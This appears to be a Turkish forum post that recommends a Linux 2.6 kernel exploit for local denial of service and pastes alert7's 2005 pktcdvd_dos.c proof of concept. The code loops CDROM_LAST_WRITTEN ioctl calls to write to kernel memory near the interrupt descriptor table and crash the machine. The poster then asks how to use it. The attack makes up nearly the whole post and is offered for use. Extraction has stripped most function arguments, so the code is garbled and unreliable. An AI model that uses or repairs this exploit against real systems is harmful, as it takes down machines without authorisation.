2.6. versiona sahip kerneli olan sisteme local ddos atmak istiyosanız en iyi yol bu exploitdir / pktcdvd_dos. c proof-of-concept This is only a lame POC which will crash the machine, no root shell here. alert7 2005-5-15 the vulnerability in 2.6 up to and including 2.6.12-rc4 gcc -o pktcdvd_dos pktcdvd_dos. c NOTE: require user can read pktcdvd block device THIS PROGRAM IS FOR EDUCATIONAL PURPOSES ONLY IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. / #define _GNU_SOURCE #include <stdio. h> #include <stdlib. h> #include <errno. h> #include <string. h> #include <unistd. h> #include <fcntl. h> #include <signal. h> #include <paths. h> #include <grp. h> #include <setjmp. h> #include <stdint. h> #include <sys/mman. h> #include <sys/ipc. h> #include <sys/shm. h> #include <sys/ucontext. h> #include <sys/wait. h> #include <asm/ldt. h> #include <asm/page. h> #include <asm/segment. h> #include <linux/unistd. h> #include <linux/linkage. h> #include <sys/types. h> #include <sys/stat. h> #include <fcntl. h> #include <linux/sysctl. h> #include <linux/cdrom. h> #define NR_sys_ioctl NR_ioctl #define PKTCDVDDEVICE "/dev/hdc" static inline _syscall3 ; struct idtr attribute ; unsigned int get_addr_idt struct desc_struct ; int main { unsigned int ptr_idt; int iret ; int fd; printf ; if ( ( &ptr_idt >>24) 0xfe) ptr_idt=get_addr_idt ; printf ; fd = open ; if (fd -1) unsigned long WriteTo ; if ( (ptr_idt>>24) 0xc0) else printf ; fflush ; int loopi; for (loopi=0;loopi<0x100000 ;loopi++ ) { printf(" will write data at 0x%x\n", WriteTo+loopi 4); fflush ; iret = sys_ioctl(fd, CDROM_LAST_WRITTEN, WriteTo+loopi 4); if (iret -1) } close ; return 0; }

kullanımı hakkında bilgi verir misiniz